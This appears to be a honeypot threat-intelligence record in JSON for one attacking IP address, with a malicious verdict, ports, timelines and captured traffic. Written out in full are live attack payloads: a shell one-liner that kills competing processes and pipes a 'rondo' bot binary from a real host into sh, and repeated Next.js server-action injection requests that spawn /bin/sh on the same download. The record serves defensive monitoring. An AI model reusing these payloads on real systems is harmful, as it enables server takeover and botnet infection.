{"ip":"176.65.132.19","data_as_of":"2026-10-27T11:25:42+00:00","observed":true,"total_events":48,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"8 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["8 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Sent 57,663 bytes, which is sustained payload delivery.","Counts include 42 interactive session(s) as well as first-packet events."],"engagement":{"level":"payload","label":"Sustained payload","detail":"57,663 bytes sent","bytes_sent":57663,"session_seconds":12,"persistent":false},"basis":"combined"},"first_seen":"2026-10-15T22:33:14","last_seen":"2026-10-24T23:15:25","events_24h":0,"events_7d":26,"interactive_sessions":42,"interactive_sessions_24h":0,"interactive_sessions_7d":28,"interactive_protocols":[{"protocol":"http","sessions":13}],"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":197170,"org":"TechTies Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[],"udp":{"source_verified":false,"window_days":90,"events":3,"protocols":[{"protocol":"udp","events":3}],"ports":[{"port":500,"events":3}],"dns_questions":[],"quic_clients":[],"first_seen":"2026-10-16T01:10:36","last_seen":"2026-10-25T19:06:30","recent":[{"timestamp":"2026-10-25T19:06:30","port":500,"src_port":55420,"proto":"udp","app_proto":"","app_protocol":"","summary":"CKTHQSYA\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000) \"\b\u0000\u0000\u0000\u0000\u0000\u0000\u0001k\u0000\u0000\u0001O\u0001\u0000\u0000\u000eHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB\";for p in /proc/[0-9]*;do pi=${p##*/};el=`ls -l \"$p/exe\"`||continue;case \"$el\" in */lib/*) continue;;esac;case \"$el\" in */tmp/*|*/var/*|*/dev/*|*/mnt/*)kill -9 \"$pi\";;esac;done;(curl -s http://94.249.230.216/rondo.``qpu||wget -qO- http://94.249.230.216/rondo.``qpu)|sh&echo -n \"","payload_hex":"434b544851535941000000000000000029202208000000000000016b0000014f0100000e484158424841584248415842484158424841584248415842484158424841584248415842484158424841584248415842223b666f72207020696e202f70726f632f5b302d395d2a3b646f2070693d247b7023232a2f7d3b656c3d606c73202d6c202224702f65786522607c7c636f6e74696e75653b63617365202224656c2220696e202a2f6c69622f2a2920636f6e74696e75653b3b657361633b63617365202224656c2220696e202a2f746d702f2a7c2a2f7661722f2a7c2a2f6465762f2a7c2a2f6d6e742f2a296b696c6c202d392022247069223b3b657361633b646f6e653b286375726c202d7320687474703a2f2f39342e3234392e3233302e3231362f726f6e646f2e60607170757c7c77676574202d714f2d20687474703a2f2f39342e3234392e3233302e3231362f726f6e646f2e6060717075297c7368266563686f202d6e2022","sni":"","session":"137b50a7-cb45-4e0e-9dc0-7752b7491406","bytes_in":363,"source_verified":false,"enriched":{"digest":"b56cf65429f10b96","strings":["CKTHQSYA","HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB\";for p in /proc/[0-9]*;do pi=${…","CKTHQSYA) \""]}},{"timestamp":"2026-10-16T02:30:38","port":500,"src_port":37576,"proto":"udp","app_proto":"","app_protocol":"","summary":"CKTHQSYA\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000) \"\b\u0000\u0000\u0000\u0000\u0000\u0000\u0001k\u0000\u0000\u0001O\u0001\u0000\u0000\u000eHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB\";for p in /proc/[0-9]*;do pi=${p##*/};el=`ls -l \"$p/exe\"`||continue;case \"$el\" in */lib/*) continue;;esac;case \"$el\" in */tmp/*|*/var/*|*/dev/*|*/mnt/*)kill -9 \"$pi\";;esac;done;(curl -s http://94.249.230.216/rondo.``qpu||wget -qO- http://94.249.230.216/rondo.``qpu)|sh&echo -n \"","payload_hex":"434b544851535941000000000000000029202208000000000000016b0000014f0100000e484158424841584248415842484158424841584248415842484158424841584248415842484158424841584248415842223b666f72207020696e202f70726f632f5b302d395d2a3b646f2070693d247b7023232a2f7d3b656c3d606c73202d6c202224702f65786522607c7c636f6e74696e75653b63617365202224656c2220696e202a2f6c69622f2a2920636f6e74696e75653b3b657361633b63617365202224656c2220696e202a2f746d702f2a7c2a2f7661722f2a7c2a2f6465762f2a7c2a2f6d6e742f2a296b696c6c202d392022247069223b3b657361633b646f6e653b286375726c202d7320687474703a2f2f39342e3234392e3233302e3231362f726f6e646f2e60607170757c7c77676574202d714f2d20687474703a2f2f39342e3234392e3233302e3231362f726f6e646f2e6060717075297c7368266563686f202d6e2022","sni":"","session":"153e726e-f68e-484e-b594-4ab70dc3dd6f","bytes_in":363,"source_verified":false,"enriched":{"digest":"b56cf65429f10b96","strings":["CKTHQSYA","HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB\";for p in /proc/[0-9]*;do pi=${…","CKTHQSYA) \""]}},{"timestamp":"2026-10-16T01:10:36","port":500,"src_port":37400,"proto":"udp","app_proto":"","app_protocol":"","summary":"CKTHQSYA\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000) \"\b\u0000\u0000\u0000\u0000\u0000\u0000\u0001k\u0000\u0000\u0001O\u0001\u0000\u0000\u000eHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB\";for p in /proc/[0-9]*;do pi=${p##*/};el=`ls -l \"$p/exe\"`||continue;case \"$el\" in */lib/*) continue;;esac;case \"$el\" in */tmp/*|*/var/*|*/dev/*|*/mnt/*)kill -9 \"$pi\";;esac;done;(curl -s http://94.249.230.216/rondo.``qpu||wget -qO- http://94.249.230.216/rondo.``qpu)|sh&echo -n \"","payload_hex":"434b544851535941000000000000000029202208000000000000016b0000014f0100000e484158424841584248415842484158424841584248415842484158424841584248415842484158424841584248415842223b666f72207020696e202f70726f632f5b302d395d2a3b646f2070693d247b7023232a2f7d3b656c3d606c73202d6c202224702f65786522607c7c636f6e74696e75653b63617365202224656c2220696e202a2f6c69622f2a2920636f6e74696e75653b3b657361633b63617365202224656c2220696e202a2f746d702f2a7c2a2f7661722f2a7c2a2f6465762f2a7c2a2f6d6e742f2a296b696c6c202d392022247069223b3b657361633b646f6e653b286375726c202d7320687474703a2f2f39342e3234392e3233302e3231362f726f6e646f2e60607170757c7c77676574202d714f2d20687474703a2f2f39342e3234392e3233302e3231362f726f6e646f2e6060717075297c7368266563686f202d6e2022","sni":"","session":"fb4ef067-f64a-4333-811d-53ab27ada12f","bytes_in":363,"source_verified":false,"enriched":{"digest":"b56cf65429f10b96","strings":["CKTHQSYA","HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB\";for p in /proc/[0-9]*;do pi=${…","CKTHQSYA) \""]}}]},"interaction":{"window_days":90,"sessions":45,"first_seen":"2026-10-15T22:34:16","last_seen":"2026-10-25T18:44:30","verdicts":[{"verdict":"unknown","sessions":29},{"verdict":"scan","sessions":16}],"personas":[{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, docker@25.0.3","sessions":9},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, gitlab@19.4.2","sessions":4}],"services":[{"protocol":"tcp","port":3000,"sessions":19},{"protocol":"http","port":3000,"sessions":13},{"protocol":"tcp","port":8088,"sessions":8},{"protocol":"ike","port":500,"sessions":3},{"protocol":"tcp","port":61616,"sessions":2}],"logins":[],"commands":[],"downloads":[],"files":[],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":16}]},"top_ports":[{"port":3000,"proto":"tcp","label":"Web-alt","count":40,"sessions":32},{"port":8088,"proto":"tcp","label":"Hadoop","count":8,"sessions":8},{"port":61616,"proto":"tcp","label":"ActiveMQ","count":0,"sessions":2}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cuq071_00050815_57e22b7f_xe7f3","b11cuq090_10450c15_131a7a2e"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"b11cuq071_00050815_57e22b7f_xe7f3":2,"b11cuq090_10450c15_131a7a2e":2},"akin_families":{},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0"],"timeline":[{"date":"2026-10-15","count":8,"sessions":8},{"date":"2026-10-17","count":14,"sessions":6},{"date":"2026-10-20","count":6,"sessions":6},{"date":"2026-10-21","count":13,"sessions":12},{"date":"2026-10-22","count":6,"sessions":6},{"date":"2026-10-24","count":1,"sessions":4}],"recent_events":[{"timestamp":"2026-10-24T22:35:29","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=2e68c6b1c8edfeb38e124d488fcb92ce\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--2e68c6b1c8edfeb38e124d488fcb92ce\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--2e68c6b1c8edfeb38e124d488fcb92ce\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--2e68c6b1c8edfeb38e124d488fcb92ce\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--2e68c6b1c8edfeb38e124d488fcb92ce--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/route","summary":"","payload_hex":"504f5354202f6170692f726f75746520485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d32653638633662316338656466656233386531323464343838666362393263650d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d32653638633662316338656466656233386531323464343838666362393263650d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d32653638633662316338656466656233386531323464343838666362393263650d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d32653638633662316338656466656233386531323464343838666362393263650d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d32653638633662316338656466656233386531323464343838666362393263652d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"25818c8f-f50a-4501-93c5-5ce7e610ffc7","seq":1,"duration_ms":0,"bytes_in":1000,"bytes_out":78},{"timestamp":"2026-10-24T22:34:38","port":3000,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=83724cf425694fa875e7a48d49d63bdd\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--83724cf425694fa875e7a48d49d63bdd\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--83724cf425694fa875e7a48d49d63bdd\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--83724cf425694fa875e7a48d49d63bdd\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--83724cf425694fa875e7a48d49d63bdd--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next/server","summary":"","payload_hex":"504f5354202f5f6e6578742f73657276657220485454502f312e310d0a486f73743a203c484f4e4559504f543e3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d38333732346366343235363934666138373565376134386434396436336264640d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d38333732346366343235363934666138373565376134386434396436336264640d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d38333732346366343235363934666138373565376134386434396436336264640d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d38333732346366343235363934666138373565376134386434396436336264640d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d38333732346366343235363934666138373565376134386434396436336264642d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"bf455525-e3c9-4614-81ad-ff25dbbe66c0-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T22:57:52","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=3f323417500d032f7b48d3be6e47b357\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--3f323417500d032f7b48d3be6e47b357\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--3f323417500d032f7b48d3be6e47b357\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--3f323417500d032f7b48d3be6e47b357\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--3f323417500d032f7b48d3be6e47b357--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next","summary":"","payload_hex":"504f5354202f5f6e65787420485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d33663332333431373530306430333266376234386433626536653437623335370d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d33663332333431373530306430333266376234386433626536653437623335370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d33663332333431373530306430333266376234386433626536653437623335370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d33663332333431373530306430333266376234386433626536653437623335370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d33663332333431373530306430333266376234386433626536653437623335372d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"cb5550e8-42b9-412b-a50c-3f7e396a19b6","seq":1,"duration_ms":0,"bytes_in":995,"bytes_out":78},{"timestamp":"2026-10-22T22:52:59","port":3000,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=21a87ebeabe96c61347229ff50500e97\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--21a87ebeabe96c61347229ff50500e97\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--21a87ebeabe96c61347229ff50500e97\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--21a87ebeabe96c61347229ff50500e97\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--21a87ebeabe96c61347229ff50500e97--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next/server","summary":"","payload_hex":"504f5354202f5f6e6578742f73657276657220485454502f312e310d0a486f73743a203c484f4e4559504f543e3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d32316138376562656162653936633631333437323239666635303530306539370d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d32316138376562656162653936633631333437323239666635303530306539370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d32316138376562656162653936633631333437323239666635303530306539370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d32316138376562656162653936633631333437323239666635303530306539370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d32316138376562656162653936633631333437323239666635303530306539372d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"f3b68ed1-b189-4850-8b82-c232892c37f4-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T22:51:12","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=2ec32cbe2f21ddfe69364061c89da9ae\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--2ec32cbe2f21ddfe69364061c89da9ae\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--2ec32cbe2f21ddfe69364061c89da9ae\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--2ec32cbe2f21ddfe69364061c89da9ae\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--2ec32cbe2f21ddfe69364061c89da9ae--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d32656333326362653266323164646665363933363430363163383964613961650d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d32656333326362653266323164646665363933363430363163383964613961650d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d32656333326362653266323164646665363933363430363163383964613961650d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d32656333326362653266323164646665363933363430363163383964613961650d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d32656333326362653266323164646665363933363430363163383964613961652d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"62ba2f62-2784-43e9-82a1-13aea68a47b2","seq":1,"duration_ms":0,"bytes_in":990,"bytes_out":78},{"timestamp":"2026-10-22T22:50:50","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=f49cc89d665cdf0c3764147f7143a128\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--f49cc89d665cdf0c3764147f7143a128\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--f49cc89d665cdf0c3764147f7143a128\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--f49cc89d665cdf0c3764147f7143a128\r\nContent-Disposition: form-data; 